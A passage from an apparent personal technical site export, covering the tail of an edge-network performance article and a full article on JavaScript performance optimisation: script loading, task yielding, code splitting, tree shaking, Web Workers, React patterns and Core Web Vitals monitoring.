    networkTimeoutSeconds: 3,
    plugins: [
      new ExpirationPlugin({
        maxEntries: 50,
        maxAgeSeconds: 5 * 60,
      }),
    ],
  }),
)
```

### 6.2 IndexedDB for Large Data

```javascript title="data-cache.js"
class DataCache {
  async cacheApiResponse(url, data, ttl = 300000) {
    const transaction = this.db.transaction(["apiResponses"], "readwrite")
    const store = transaction.objectStore("apiResponses")

    await store.put({
      url,
      data,
      timestamp: Date.now(),
      ttl,
    })
  }

  async getCachedApiResponse(url) {
    const result = await this.db.get("apiResponses", url)

    if (result && Date.now() - result.timestamp < result.ttl) {
      return result.data
    }
    return null
  }
}
```

## Part 7: Performance Monitoring

### 7.1 RUM-Based Monitoring

```javascript title="rum-monitor.js" collapse={1-14, 46-56}
class RUMBudgetMonitor {
  constructor() {
    this.budgets = {
      lcp: 2500,
      fcp: 1800,
      inp: 200,
      cls: 0.1,
      ttfb: 600,
    }

    this.violations = []
    this.initMonitoring()
  }

  initMonitoring() {
    if ("PerformanceObserver" in window) {
      // LCP monitoring
      const lcpObserver = new PerformanceObserver((list) => {
        const entries = list.getEntries()
        const lastEntry = entries[entries.length - 1]

        if (lastEntry.startTime > this.budgets.lcp) {
          this.recordViolation("LCP", lastEntry.startTime, this.budgets.lcp)
        }
      })
      lcpObserver.observe({ entryTypes: ["largest-contentful-paint"] })

      // INP monitoring
      const inpObserver = new PerformanceObserver((list) => {
        const entries = list.getEntries()
        const maxInp = Math.max(...entries.map((entry) => entry.value))

        if (maxInp > this.budgets.inp) {
          this.recordViolation("INP", maxInp, this.budgets.inp)
        }
      })
      inpObserver.observe({ entryTypes: ["interaction"] })

      // CLS monitoring
      const clsObserver = new PerformanceObserver((list) => {
        let clsValue = 0
        for (const entry of list.getEntries()) {
          if (!entry.hadRecentInput) {
            clsValue += entry.value
          }
        }

        if (clsValue > this.budgets.cls) {
          this.recordViolation("CLS", clsValue, this.budgets.cls)
        }
      })
      clsObserver.observe({ entryTypes: ["layout-shift"] })
    }
  }

  recordViolation(metric, actual, budget) {
    this.violations.push({
      metric,
      actual,
      budget,
      timestamp: Date.now(),
      url: window.location.href,
    })

    this.sendViolation({ metric, actual, budget })
  }
}
```

### 7.2 CI/CD Integration

**Lighthouse CI:**

```yaml
# .github/workflows/performance.yml
name: Performance Audit
on: [pull_request, push]

jobs:
  lighthouse:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3

      - name: Run Lighthouse CI
        uses: treosh/lighthouse-ci-action@v10
        with:
          configPath: "./lighthouserc.json"
          uploadArtifacts: true
```

**Bundle Size Monitoring:**

```javascript
// .size-limit.js
module.exports = [
  {
    name: "Main Bundle",
    path: "dist/main.js",
    limit: "150 KB",
    gzip: true,
  },
  {
    name: "CSS Bundle",
    path: "dist/styles.css",
    limit: "50 KB",
    gzip: true,
  },
]
```

## Implementation Checklist

### Connection Layer

- [ ] Configure HTTPS DNS records with `alpn="h3"`
- [ ] Enable HTTP/3 on CDN/origin
- [ ] Upgrade to TLS 1.3 with 0-RTT resumption
- [ ] Implement DNS prefetching for third-party domains

### Edge Network

- [ ] Configure CDN with appropriate TTLs
- [ ] Implement edge functions for dynamic personalization
- [ ] Set up micro-caching for semi-dynamic content
- [ ] Monitor origin offload percentage

### Compression

- [ ] Pre-compress static assets with Brotli level 11
- [ ] Configure dynamic compression at level 4-5
- [ ] Offload compression to CDN where possible
- [ ] Verify compression headers in responses

### Origin Infrastructure

- [ ] Implement Redis/Memcached caching layer
- [ ] Configure read replicas for databases
- [ ] Set up connection pooling
- [ ] Optimize database queries and indexes

### Architecture

- [ ] Evaluate Islands Architecture for content sites
- [ ] Implement BFF pattern for microservices aggregation
- [ ] Configure private VPC routing for server-side fetches
- [ ] Set up multi-layer caching (SW + IndexedDB + CDN)

### Monitoring

- [ ] Deploy RUM for real-user metrics
- [ ] Integrate Lighthouse CI in pipelines
- [ ] Set up performance budgets with size-limit
- [ ] Configure automated alerting

## Appendix

### Prerequisites

- Understanding of HTTP request/response lifecycle
- Familiarity with DNS, TCP/IP, and TLS concepts
- Basic knowledge of caching principles (TTL, cache invalidation)
- Experience with CDN configuration

### Terminology

- **TTFB (Time to First Byte)**: Time from request initiation to receiving the first byte of response
- **RTT (Round-Trip Time)**: Time for a packet to travel to a destination and back
- **PoP (Point of Presence)**: CDN edge location that serves content to nearby users
- **QUIC**: UDP-based transport protocol designed by Google, now standardized as RFC 9000
- **HOL Blocking (Head-of-Line Blocking)**: When a single slow/lost packet delays all subsequent packets
- **0-RTT**: Zero round-trip time resumption, allowing encrypted data in the first packet for returning connections
- **BFF (Backend for Frontend)**: A specialized backend service that aggregates data for a specific frontend client
- **VPC (Virtual Private Cloud)**: Isolated cloud network with private IP addressing

### Summary

- **Connection layer**: HTTPS DNS records enable direct HTTP/3 connections (saving 100-300ms), HTTP/3 eliminates TCP head-of-line blocking (55-88% faster under packet loss), TLS 1.3 reduces handshake to 1-RTT (0-RTT for return visitors)
- **Edge network**: CDNs reduce latency via geographic proximity; measure origin offload (bytes) not just cache-hit ratio; edge computing runs code at PoPs with <10ms latency
- **Compression**: Pre-compress static assets with Brotli 11 (15-27% smaller than gzip); use Brotli 4-5 or Zstandard for dynamic content; 96% browser support for Brotli, 76% for Zstandard
- **Origin infrastructure**: In-memory caching (Redis/Memcached) reduces database load; read replicas scale read capacity; connection pooling eliminates connection overhead
- **Architectural patterns**: Islands architecture reduces JavaScript by 50-80%; BFF pattern cuts payload 30-50% and requests 60-80%; private VPC routing improves TTFB by 85-95%
- **Performance targets**: TTFB <100ms excellent, DNS <20ms excellent, origin offload >80%

### References

**Specifications (Primary Sources)**

- [RFC 9460 - SVCB and HTTPS Records](https://datatracker.ietf.org/doc/html/rfc9460) - DNS service binding specification (November 2023)
- [RFC 9114 - HTTP/3](https://datatracker.ietf.org/doc/html/rfc9114) - HTTP/3 specification (June 2022)
- [RFC 9000 - QUIC Transport Protocol](https://datatracker.ietf.org/doc/html/rfc9000) - QUIC specification (May 2021)
- [RFC 8446 - TLS 1.3](https://datatracker.ietf.org/doc/html/rfc8446) - TLS 1.3 specification (August 2018)

**Official Documentation**

- [HTTP/3 Explained](https://http3-explained.haxx.se/) - Comprehensive HTTP/3 and QUIC guide by Daniel Stenberg
- [Cloudflare Workers Documentation](https://developers.cloudflare.com/workers/) - Edge computing platform
- [Vercel Edge Functions](https://vercel.com/docs/functions/runtimes/edge) - Edge computing documentation
- [Astro Islands Architecture](https://docs.astro.build/en/concepts/islands/) - Partial hydration
- [Qwik Resumability](https://qwik.dev/docs/concepts/resumable/) - Zero-hydration approach
- [Redis Documentation](https://redis.io/docs/) - In-memory caching guide
- [Workbox](https://developer.chrome.com/docs/workbox) - Service worker caching library

**Core Maintainer Content**

- [Cloudflare: Eliminating Cold Starts](https://blog.cloudflare.com/eliminating-cold-starts-2-shard-and-conquer/) - V8 isolate architecture (October 2025)
- [Cloudflare: HTTP/3 vs HTTP/2](https://blog.cloudflare.com/http-3-vs-http-2/) - Performance benchmarks
- [Cloudflare: Introducing 0-RTT](https://blog.cloudflare.com/introducing-0-rtt/) - 0-RTT security considerations
- [Cloudflare Radar 2025 Year in Review](https://blog.cloudflare.com/radar-2025-year-in-review/) - Protocol adoption statistics

**Industry Expert Blogs**

- [Choosing Between gzip, Brotli and Zstandard](https://paulcalvano.com/2024-03-19-choosing-between-gzip-brotli-and-zstandard-compression/) - Compression algorithm benchmarks
- [HTTP Archive 2025 CDN Report](https://almanac.httparchive.org/en/2025/cdn) - CDN adoption statistics
- [Can I Use: HTTP/3](https://caniuse.com/http3) - Browser support data
- [Can I Use: Brotli](https://caniuse.com/brotli) - Compression browser support
- [SSL Labs SSL Pulse](https://www.ssllabs.com/ssl-pulse/) - TLS adoption statistics

---

## JavaScript Performance Optimization for the Web

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/frontend-engineering/web-performance-optimization/web-performance-javascript-optimization
**Category:** Frontend Engineering / Web Performance Optimization
**Description:** JavaScript execution is the primary source of main-thread blocking in modern web applications. This article covers the browser’s script loading pipeline, task scheduling primitives, code splitting strategies, and Web Workers—with emphasis on design rationale and current API status as of 2025.

# JavaScript Performance Optimization for the Web

JavaScript execution is the primary source of main-thread blocking in modern web applications. This article covers the browser's script loading pipeline, task scheduling primitives, code splitting strategies, and Web Workers—with emphasis on design rationale and current API status as of 2025.

<figure>

![JavaScript performance optimization techniques and their impact on Core Web Vitals metrics.](./javascript-performance-optimization-techniques-and-their-impact-on-core-web-vita.svg)

<figcaption>JavaScript performance optimization techniques and their impact on Core Web Vitals metrics.</figcaption>

</figure>

## Abstract

JavaScript performance optimization addresses three distinct bottlenecks:

1. **Parse-time blocking**: Scripts block DOM construction during fetch and execution. The `async`, `defer`, and `type="module"` attributes control when scripts execute relative to parsing—`defer` guarantees document order after parsing completes, `async` executes on arrival (no order guarantee), and modules are deferred by default with dependency resolution.

2. **Run-time blocking**: Tasks exceeding 50ms (the RAIL-derived threshold for perceived responsiveness) block input handling. `scheduler.yield()` (Chrome 129+) yields to the browser while maintaining task priority through a continuation queue mechanism—unlike `setTimeout(0)` which sends work to the back of the queue.

3. **Bundle-size blocking**: Large initial bundles delay Time to Interactive (TTI). Code splitting via dynamic `import()` defers non-critical code; tree shaking eliminates dead exports statically. Both require ES modules—CommonJS is runtime-resolved and cannot be statically analyzed.

Web Workers move computation entirely off the main thread. Transferable objects enable zero-copy data transfer by detaching ownership from the sending context.

## Script Loading: Parser Interaction and Execution Order

The choice of script loading strategy determines when the browser's HTML parser yields control to JavaScript execution.

### Why Parser Blocking Matters

The HTML parser cannot construct DOM nodes while JavaScript executes—JavaScript may call `document.write()` or modify the DOM being built. This creates the fundamental tension: scripts need DOM access, but parsing must complete for DOM to exist.

> **WHATWG HTML spec**: "The classic script will be fetched in parallel and evaluated when the page has finished parsing."

This quote describes `defer` behavior—the spec's solution to the tension. The parser continues unblocked while scripts download, then scripts execute in document order after parsing.

### Execution Order Guarantees by Attribute

| Attribute       | Fetch    | Execute       | Order            | Use Case                                    |
| --------------- | -------- | ------------- | ---------------- | ------------------------------------------- |
| (none)          | Blocking | Immediate     | Document         | Legacy scripts requiring `document.write()` |
| `async`         | Parallel | On arrival    | **None**         | Independent analytics, ads                  |
| `defer`         | Parallel | After parsing | Document         | Application code with DOM dependencies      |
| `type="module"` | Parallel | After parsing | Dependency graph | Modern ESM applications                     |

### Why `defer` Executes After Parsing

The `defer` attribute was introduced in Internet Explorer 4 (1997) and standardized in HTML 4. The design rationale: hint to the browser that the script "does not create any content" via `document.write()`, so parsing can continue.

> **Prior to `defer`**: All scripts blocked parsing during both download and execution. Users saw nothing until scripts completed—a significant perceived performance problem on slow networks.

The parser maintains a "list of scripts that will execute when the document has finished parsing." Deferred scripts append to this list and execute sequentially, preserving document order.

### `async` vs `defer` Decision Matrix

![Decision tree for selecting script loading attributes based on dependency requirements.](./decision-tree-for-selecting-script-loading-attributes-based-on-dependency-requir.svg)

<figcaption>Decision tree for selecting script loading attributes based on dependency requirements.</figcaption>

### Module Scripts: Deferred by Default

ES modules (`type="module"`) are deferred by default with additional semantics:

- **Strict mode**: Always enabled, `this` is `undefined` at top level
- **Dependency resolution**: The module graph is fetched before any execution
- **Top-level `await`**: Supported (blocks dependent modules, not the parser)

```html collapse={1-3}
<!-- Analytics: independent, no DOM dependency -->
<script src="analytics.js" async></script>

<!-- Polyfills → Framework → App: order-dependent -->
<script src="polyfills.js" defer></script>
<script src="framework.js" defer></script>
<script src="app.js" defer></script>

<!-- Modern entry: ESM with automatic deferral -->
<script type="module" src="main.js"></script>
```

**Trade-off**: Module scripts require `nomodule` fallback for legacy browsers (IE11, older Safari), adding bundle complexity.

## Long Task Management: The 50ms Threshold

Tasks exceeding 50ms are classified as "long tasks" and directly impact Interaction to Next Paint (INP).

### Why 50ms?

The threshold derives from the RAIL performance model's responsiveness target:

> **W3C Long Tasks spec**: "Any of the following occurrences whose duration exceeds 50ms."

The reasoning:

- Users perceive responses under 100ms as instantaneous
- A 50ms task budget leaves 50ms for the browser to process input and render
- This 50ms + 50ms = 100ms total maintains perceived responsiveness

> **W3C requestIdleCallback spec**: "The maximum deadline of 50ms is derived from studies which show that a response to user input within 100ms is generally perceived as instantaneous."

### `scheduler.yield()`: Priority-Preserving Yielding

As of Chrome 129 (September 2024), `scheduler.yield()` provides yielding with priority inheritance.

```javascript collapse={1-2}
async function processLargeDataset(items) {
  const results = []
  const BATCH_SIZE = 50

  for (let i = 0; i < items.length; i++) {
    results.push(await computeExpensiveOperation(items[i]))

    // Yield every 50 items, maintaining task priority
    if (i % BATCH_SIZE === 0 && i > 0) {
      await scheduler.yield()
    }
  }

  return results
}
```

### Why Not `setTimeout(0)`?

`setTimeout(0)` has critical limitations that `scheduler.yield()` addresses:

| Aspect                | `setTimeout(0)`                           | `scheduler.yield()`                  |
| --------------------- | ----------------------------------------- | ------------------------------------ |
| Queue position        | Back of task queue                        | Continuation queue (higher priority) |
| Minimum delay         | ~4ms (spec-mandated after 5 nested calls) | None                                 |
| Background throttling | 1000ms+ in background tabs                | Respects priority                    |
| Priority awareness    | None                                      | Inherits from parent task            |

> **WICG Scheduling spec**: "Continuations have a higher effective priority than tasks with the same TaskPriority."

The browser maintains separate continuation queues for each priority level. A `user-visible` continuation runs before `user-visible` regular tasks but after `user-blocking` tasks.

```javascript
// Priority inheritance demonstration
scheduler.postTask(
  async () => {
    // This runs at background priority
    await heavyComputation()

    // After yield, still at background priority
    // But ahead of OTHER background tasks
    await scheduler.yield()

    await moreComputation()
  },
  { priority: "background" },
)
```

### Adaptive Time-Slice Yielding

For variable-cost work items, yield based on elapsed time rather than iteration count:

```javascript collapse={1-3}
async function adaptiveProcessing(workQueue) {
  const TIME_SLICE_MS = 5

  while (workQueue.length > 0) {
    const sliceStart = performance.now()

    // Process until time slice exhausted
    while (workQueue.length > 0 && performance.now() - sliceStart < TIME_SLICE_MS) {
      processWorkItem(workQueue.shift())
    }

    if (workQueue.length > 0) {
      await scheduler.yield()
    }
  }
}
```

### Browser Support and Fallback

| API                    | Chrome          | Firefox        | Safari        |
| ---------------------- | --------------- | -------------- | ------------- |
| `scheduler.postTask()` | 94 (Sept 2021)  | 142 (Aug 2025) | Not supported |
| `scheduler.yield()`    | 129 (Sept 2024) | Not supported  | Not supported |

For browsers without support, fall back to `setTimeout(0)` with the understanding that priority is lost:

```javascript collapse={1-5}
const yieldToMain = () => {
  if ("scheduler" in globalThis && "yield" in scheduler) {
    return scheduler.yield()
  }
  return new Promise((resolve) => setTimeout(resolve, 0))
}
```

## Code Splitting: Reducing Initial Bundle Size

Code splitting defers loading non-critical code until needed, reducing Time to Interactive (TTI).

### Route-Based Splitting

Route-based splitting is the highest-impact strategy—each route loads only its required code:

```javascript collapse={1-4}
import { lazy, Suspense } from "react"
import { Routes, Route } from "react-router-dom"

const Home = lazy(() => import("./pages/Home"))
const Dashboard = lazy(() => import("./pages/Dashboard"))
const Settings = lazy(() => import("./pages/Settings"))

function App() {
  return (
    <Suspense fallback={<LoadingSpinner />}>
      <Routes>
        <Route path="/" element={<Home />} />
        <Route path="/dashboard" element={<Dashboard />} />
        <Route path="/settings" element={<Settings />} />
      </Routes>
    </Suspense>
  )
}
```

### The Chunk Loading Waterfall Problem

Sequential chunk loading creates waterfalls:

1. Download and parse `entry.js`
2. Router determines current route
3. Download route chunk
4. Parse and hydrate

**Solution**: Inject a preload script that runs before the main bundle:

```html
<script>
  const routeChunks = { "/": "home.js", "/dashboard": "dashboard.js" }
  const chunk = routeChunks[location.pathname]
  if (chunk) {
    const link = document.createElement("link")
    link.rel = "preload"
    link.as = "script"
    link.href = `/chunks/${chunk}`
    document.head.appendChild(link)
  }
</script>
```

### `webpackPrefetch` vs `webpackPreload`

| Directive         | Timing               | Priority | Use Case                            |
| ----------------- | -------------------- | -------- | ----------------------------------- |
| `webpackPreload`  | Parallel with parent | Medium   | Needed for current navigation       |
| `webpackPrefetch` | During browser idle  | Low      | Likely needed for future navigation |

```javascript
// Preload: needed NOW, loads in parallel
import(/* webpackPreload: true */ "ChartingLibrary")

// Prefetch: needed LATER, loads during idle
import(/* webpackPrefetch: true */ "./SettingsPage")
```

**Trade-off**: Overusing `preload` competes for bandwidth with critical resources. Prefetch is safer—it uses idle time but may not complete before needed.

### Component-Level Splitting

Split individual heavy components (>30KB) that aren't needed immediately:

```javascript collapse={1-2, 18-23}
import { lazy, Suspense, useState, startTransition } from "react"

const HeavyChart = lazy(() => import("./HeavyChart"))

function Dashboard() {
  const [showChart, setShowChart] = useState(false)

  const loadChart = () => {
    // Use transition to avoid blocking UI
    startTransition(() => setShowChart(true))
  }

  return (
    <div>
      <button onClick={loadChart}>Show Analytics</button>
      {showChart && (
        <Suspense fallback={<ChartSkeleton />}>
          <HeavyChart />
        </Suspense>
      )}
    </div>
  )
}
```

## Tree Shaking: Dead Code Elimination

Tree shaking removes unused exports from the bundle at build time.

### Why ES Modules Enable Tree Shaking

ES modules are **statically analyzable**—imports and exports can be determined at compile time without executing code.

> **ECMA-262 design**: Import/export declarations can only appear at module top level, and specifiers must be string literals.

```javascript
// ✅ Static - bundler knows exactly what's used
import { add, multiply } from "./math.js"

// ❌ Dynamic - cannot analyze at build time
const fn = condition ? "add" : "multiply"
import("./math.js").then((mod) => mod[fn]())
```

CommonJS cannot be tree-shaken because `require()` is a runtime function that can be called conditionally with computed paths.

### When Tree Shaking Fails

1. **Side effects present**: Code that runs on import (polyfills, CSS, prototype modifications)
2. **Dynamic property access**: `utils[methodName]`
3. **Dynamic imports**: The entire module is included
4. **Missing `sideEffects` field**: Bundler assumes all files have side effects

```json
// package.json - declare no side effects for aggressive tree shaking
{
  "sideEffects": false
}

// Or whitelist files with side effects
{
  "sideEffects": ["*.css", "./src/polyfills.js"]
}
```

**Critical pitfall**: `sideEffects: false` without whitelisting CSS files will remove all CSS imports.

### Bundler Differences

| Bundler | Analysis Level      | Trade-off                      |
| ------- | ------------------- | ------------------------------ |
| Rollup  | AST node level      | Best optimization, slower      |
| webpack | Module/export level | Relies on Terser for final DCE |
| esbuild | Top-level statement | Fastest, more conservative     |

esbuild interprets `sideEffects: false` narrowly—it removes entire unused modules but doesn't tree-shake individual statements within modules.

## Web Workers: Off-Main-Thread Computation

Web Workers run JavaScript in background threads, preventing long computations from blocking the main thread.

### When to Use Workers

Workers have overhead: message serialization, thread creation, no DOM access. Use them for:

- **CPU-intensive computation**: Image processing, encryption, compression
- **Large data processing**: Sorting, filtering, aggregation
- **Background sync**: Data transformation while UI remains responsive

> **WHATWG Workers spec**: "Workers are relatively heavy-weight, and are not intended to be used in large numbers."

### Basic Worker Pattern

```javascript title="main.js"
const worker = new Worker("worker.js")

worker.postMessage({ type: "PROCESS", data: largeDataset })

worker.onmessage = (event) => {
  if (event.data.type === "COMPLETE") {
    updateUI(event.data.result)
  }
}

worker.onerror = (error) => {
  console.error("Worker error:", error.message)
}
```

```javascript title="worker.js"
self.onmessage = (event) => {
  const { type, data } = event.data

  if (type === "PROCESS") {
    try {
      const result = expensiveComputation(data)
      self.postMessage({ type: "COMPLETE", result })
    } catch (error) {
      self.postMessage({ type: "ERROR", message: error.message })
    }
  }
}
```

### Transferable Objects: Zero-Copy Transfer

By default, `postMessage` uses the structured clone algorithm—deep copying data. For large `ArrayBuffer`s, use transfer instead:

```javascript
const buffer = new ArrayBuffer(1024 * 1024 * 100) // 100MB
console.log(buffer.byteLength) // 104857600

// Transfer ownership - zero copy
worker.postMessage({ buffer }, [buffer])

console.log(buffer.byteLength) // 0 (detached)
```

> **WHATWG spec**: "Transferring is an irreversible and non-idempotent operation. Once transferred, an object cannot be transferred or used again."

**Transferable types**: `ArrayBuffer`, `MessagePort`, `ImageBitmap`, `OffscreenCanvas`, `ReadableStream`, `WritableStream`, `TransformStream`, `VideoFrame`, `AudioData`.

**Common mistake**: `TypedArray`s (e.g., `Uint8Array`) are **not** transferable—only their underlying `ArrayBuffer` is.

### Error Handling Edge Cases

**Synchronous exceptions** propagate to the parent via `worker.onerror`:

```javascript
worker.onerror = (event) => {
  console.error(`Worker error: ${event.message} at ${event.filename}:${event.lineno}`)
  event.preventDefault() // Prevents default error logging
}
```

**Unhandled promise rejections do NOT propagate** to the parent—they only log to the worker's console. Implement explicit error messaging:

```javascript title="worker.js"
self.addEventListener("unhandledrejection", (event) => {
  self.postMessage({
    type: "ERROR",
    message: event.reason?.message || "Unhandled rejection",
  })
})
```

### Worker Pool for Parallel Processing

```javascript collapse={1-14, 29-50}
class WorkerPool {
  constructor(workerScript, poolSize = navigator.hardwareConcurrency) {
    this.workers = []
    this.queue = []
    this.available = []

    for (let i = 0; i < poolSize; i++) {
      const worker = new Worker(workerScript)
      worker.onmessage = (e) => this.handleMessage(worker, e)
      worker.onerror = (e) => this.handleError(worker, e)
      this.workers.push(worker)
      this.available.push(worker)
    }
  }

  execute(task) {
    return new Promise((resolve, reject) => {
      const wrapper = { task, resolve, reject }

      if (this.available.length > 0) {
        this.dispatch(this.available.pop(), wrapper)
      } else {
        this.queue.push(wrapper)
      }
    })
  }

  dispatch(worker, wrapper) {
    worker.currentTask = wrapper
    worker.postMessage(wrapper.task)
  }

  handleMessage(worker, event) {
    const { resolve, reject } = worker.currentTask

    if (event.data.error) {
      reject(new Error(event.data.error))
    } else {
      resolve(event.data.result)
    }

    // Return to pool or process queue
    if (this.queue.length > 0) {
      this.dispatch(worker, this.queue.shift())
    } else {
      this.available.push(worker)
    }
  }

  handleError(worker, event) {
    worker.currentTask?.reject(new Error(event.message))
    // Worker may be unusable - consider recreating
  }

  terminate() {
    this.workers.forEach((w) => w.terminate())
  }
}
```

### SharedArrayBuffer and Cross-Origin Isolation

`SharedArrayBuffer` enables shared memory between workers but requires cross-origin isolation due to Spectre/Meltdown mitigations:

```http
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
```

**Why the restriction**: `SharedArrayBuffer` enables construction of nanosecond-resolution timers that can be used for cache timing attacks to extract cross-origin data.

```javascript
// Verify cross-origin isolation
if (crossOriginIsolated) {
  const shared = new SharedArrayBuffer(1024)
  // Can use Atomics for synchronization
} else {
  console.warn("SharedArrayBuffer unavailable - not cross-origin isolated")
}
```

**Safari limitation**: Safari does not support `COEP: credentialless`, requiring the stricter `require-corp` mode where all cross-origin resources must explicitly opt-in with CORS or CORP headers.

## React Optimization Patterns

React applications have framework-specific optimization opportunities.

### React.memo: Preventing Unnecessary Re-renders

`React.memo` creates a higher-order component that skips re-rendering when props are shallowly equal:

```javascript collapse={12-18}
const ExpensiveList = React.memo(function ExpensiveList({ items, onSelect }) {
  return (
    <ul>
      {items.map((item) => (
        <li key={item.id} onClick={() => onSelect(item.id)}>
          {item.name}
        </li>
      ))}
    </ul>
  )
})

// Custom comparison for complex props
const MemoizedChart = React.memo(
  function Chart({ data, config }) {
    return <ChartImpl data={data} config={config} />
  },
  (prev, next) => {
    return prev.data.length === next.data.length && prev.config.type === next.config.type
  },
)
```

**When to use**: Components that receive the same props frequently, expensive render logic, components deep in the tree that re-render due to parent updates.

**When NOT to use**: Components that always receive new props (breaks memoization), simple components (memo overhead exceeds render cost).

### useMemo and useCallback: Stabilizing References

```javascript collapse={1-2, 16-20}
function DataGrid({ data, filters, onRowClick }) {
  const [sortConfig, setSortConfig] = useState({ key: "id", direction: "asc" })

  // Memoize expensive computation
  const filteredData = useMemo(() => {
    return data.filter((item) => matchesFilters(item, filters)).sort((a, b) => compareBy(a, b, sortConfig))
  }, [data, filters, sortConfig])

  // Stabilize callback reference for memoized children
  const handleRowClick = useCallback(
    (rowId) => {
      onRowClick(rowId)
    },
    [onRowClick],
  )

  return <MemoizedTable data={filteredData} onRowClick={handleRowClick} />
}
```

### React Server Components

As of React 18, Server Components run on the server with zero client bundle impact:

```javascript title="ServerComponent.jsx"
// No 'use client' - runs on server only
import { db } from "./database" // Server-only module
import ClientChart from "./ClientChart"

export default async function Dashboard({ userId }) {
  // Direct database access - no API needed
  const metrics = await db.query("SELECT * FROM metrics WHERE user_id = ?", [userId])

  return (
    <div>
      <h1>Dashboard</h1>
      {/* ClientChart creates a split point */}
      <ClientChart data={metrics} />
    </div>
  )
}
```

```javascript title="ClientChart.jsx"
"use client"

import { useState } from "react"

export default function ClientChart({ data }) {
  const [zoom, setZoom] = useState(1)
  return <canvas data-zoom={zoom} />
}
```

**Key insight**: The `'use client'` directive creates an automatic code split point. Server-side dependencies (database clients, large processing libraries) never ship to the client.

### Virtualization for Large Lists

For lists with thousands of items, render only visible items:

```javascript collapse={1-3}
import { useVirtualizer } from "@tanstack/react-virtual"

function VirtualList({ items }) {
  const parentRef = useRef(null)

  const virtualizer = useVirtualizer({
    count: items.length,
    getScrollElement: () => parentRef.current,
    estimateSize: () => 50, // Estimated row height
    overscan: 5, // Render 5 extra items above/below viewport
  })

  return (
    <div ref={parentRef} style={{ height: "400px", overflow: "auto" }}>
      <div style={{ height: virtualizer.getTotalSize() }}>
        {virtualizer.getVirtualItems().map((virtualRow) => (
          <div
            key={virtualRow.key}
            style={{
              position: "absolute",
              top: virtualRow.start,
              height: virtualRow.size,
            }}
          >
            {items[virtualRow.index].name}
          </div>
        ))}
      </div>
    </div>
  )
}
```

## Performance Measurement

Effective optimization requires continuous measurement.

### Core Web Vitals Monitoring

```javascript collapse={1-7, 35-45}
class PerformanceMonitor {
  constructor() {
    this.metrics = {}
    this.setupObservers()
  }

  setupObservers() {
    // Largest Contentful Paint
    new PerformanceObserver((list) => {
      const entries = list.getEntries()
      this.metrics.lcp = entries[entries.length - 1].startTime
    }).observe({ type: "largest-contentful-paint" })

    // Interaction to Next Paint (replaced FID March 2024)
    new PerformanceObserver((list) => {
      for (const entry of list.getEntries()) {
        if (!this.metrics.inp || entry.duration > this.metrics.inp) {
          this.metrics.inp = entry.duration
        }
      }
    }).observe({ type: "event", buffered: true, durationThreshold: 16 })

    // Cumulative Layout Shift
    let clsValue = 0
    new PerformanceObserver((list) => {
      for (const entry of list.getEntries()) {
        if (!entry.hadRecentInput) {
          clsValue += entry.value
          this.metrics.cls = clsValue
        }
      }
    }).observe({ type: "layout-shift" })
  }

  report() {
    navigator.sendBeacon("/api/metrics", JSON.stringify(this.metrics))
  }
}
```

### Long Task Detection

```javascript
const longTaskObserver = new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    if (entry.duration > 100) {
      console.warn(`Long task: ${entry.duration.toFixed(0)}ms`, {
        attribution: entry.attribution,
      })
    }
  }
})

longTaskObserver.observe({ type: "longtask" })
```

## Conclusion

JavaScript performance optimization requires understanding browser internals:

- **Script loading** trades off parser blocking against execution timing—use `defer` for order-dependent application code, `async` for independent scripts
- **Task scheduling** with `scheduler.yield()` maintains priority while yielding, unlike `setTimeout` which loses queue position
- **Code splitting** reduces initial load but creates chunk waterfalls—mitigate with preload hints
- **Tree shaking** requires ES modules and explicit side-effect declarations
- **Web Workers** move computation off-thread but add message serialization overhead—use transfer for large buffers

Measure before optimizing. INP, LCP, and Long Task observers provide visibility into actual user experience, not just synthetic benchmarks.

## Appendix

### Prerequisites

- Familiarity with JavaScript event loop and task queue model
- Understanding of browser rendering pipeline (parse, style, layout, paint)
- Basic React knowledge for framework-specific sections

### Summary

- **Script loading**: `defer` = order-preserved after parsing; `async` = executes on arrival (no order); `module` = deferred with dependency resolution
- **50ms threshold**: RAIL model target—100ms perceived instant, 50ms task budget leaves room for input handling
- **`scheduler.yield()`**: Chrome 129+, maintains priority via continuation queues; falls back to `setTimeout(0)` elsewhere
- **Tree shaking**: Requires ES modules (static structure); fails with side effects, dynamic imports, missing `sideEffects` field
- **Web Workers**: Off-thread computation; use transfer for large `ArrayBuffer`s; promise rejections don't propagate
- **INP replaced FID**: March 2024, measures full interaction latency not just input delay

### References

#### Specifications

- [WHATWG HTML - Scripting](https://html.spec.whatwg.org/multipage/scripting.html) - Script loading attributes and execution order
- [W3C Long Tasks API](https://w3c.github.io/longtasks/) - 50ms threshold definition
- [WICG Prioritized Task Scheduling](https://wicg.github.io/scheduling-apis/) - scheduler.yield() and scheduler.postTask()
- [W3C requestIdleCallback](https://w3c.github.io/requestidlecallback/) - 50ms deadline rationale
- [WHATWG HTML - Web Workers](https://html.spec.whatwg.org/multipage/workers.html) - Worker lifecycle and messaging
- [WHATWG - Structured Clone](https://html.spec.whatwg.org/multipage/structured-data.html) - Serialization algorithm and transferables
- [ECMA-262](https://262.ecma-international.org/) - ES module static structure

#### Official Documentation

- [MDN - Script Element](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script) - async, defer, module
- [MDN - scheduler.yield()](https://developer.mozilla.org/en-US/docs/Web/API/Scheduler/yield) - API reference and browser support
- [MDN - Web Workers API](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API) - Worker patterns
- [MDN - Transferable Objects](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Transferable_objects) - Zero-copy transfer
- [webpack - Code Splitting](https://webpack.js.org/guides/code-splitting/) - Dynamic imports and chunk configuration
- [webpack - Tree Shaking](https://webpack.js.org/guides/tree-shaking/) - sideEffects field
- [React - lazy](https://react.dev/reference/react/lazy) - Component-level code splitting
- [React - Server Components](https://react.dev/reference/rsc/server-components) - Server/client boundary

#### Core Maintainer Content

- [WICG Yield Explainer](https://github.com/WICG/scheduling-apis/blob/main/explainers/yield-and-continuation.md) - Priority inheritance mechanism
- [Chrome Developers - scheduler.yield()](https://developer.chrome.com/blog/use-scheduler-yield) - setTimeout limitations
- [V8 Blog - Spectre](https://v8.dev/blog/spectre) - SharedArrayBuffer security restrictions
- [React 18 Suspense SSR Architecture](https://github.com/reactwg/react-18/discussions/37) - Streaming and selective hydration

#### Industry Expert Content

